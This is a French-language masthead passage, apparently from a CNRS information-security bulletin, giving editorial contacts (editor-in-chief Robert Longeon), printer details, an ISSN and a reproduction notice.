Courriel : [joseph.illand@cnrs-dir.fr](mailto:joseph.illand@cnrs-dir.fr)  
<http://www.sg.cnrs.fr/fsd>

**Rédacteur en chef** :  
**Robert Longeon**  
Chargé de mission SSI du CNRS  
Courriel : [robert.longeon@cnrs-dir.fr](mailto:robert.longeon@cnrs-dir.fr)

**Impression** : Bialec, Nancy (France) - D.L. n° 71236  
ISSN 1967-7219

La reproduction totale ou partielle des articles est autorisée sous réserve de mention d'origine.